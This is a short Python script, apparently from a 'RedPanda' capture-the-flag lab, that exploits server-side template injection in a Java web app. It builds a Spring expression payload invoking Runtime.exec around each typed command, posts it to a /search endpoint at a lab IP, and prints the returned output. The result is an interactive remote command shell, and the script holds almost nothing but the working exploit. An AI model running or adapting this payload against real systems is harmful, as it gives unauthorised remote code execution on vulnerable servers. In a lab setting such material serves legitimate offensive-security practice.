RedPanda
import requests
from bs4 import BeautifulSoup
'''
f = open('payloads.txt','r')
lines = f.readlines()
for l in lines:
#payload = "*{7*7}"
# *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
payload = l.strip()
'''
inp = input("")
while inp != "exit":
payload = "*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('" + inp + "').getInputStream())}"
data = {"name" : payload}
request = requests.post('http://10.10.11.170:8080/search', data)
parser = BeautifulSoup(request.content, 'html.parser')
results = parser.find_all("h2")[0].get_text()
print(results)
inp = input('')
#print(parser)
Last updated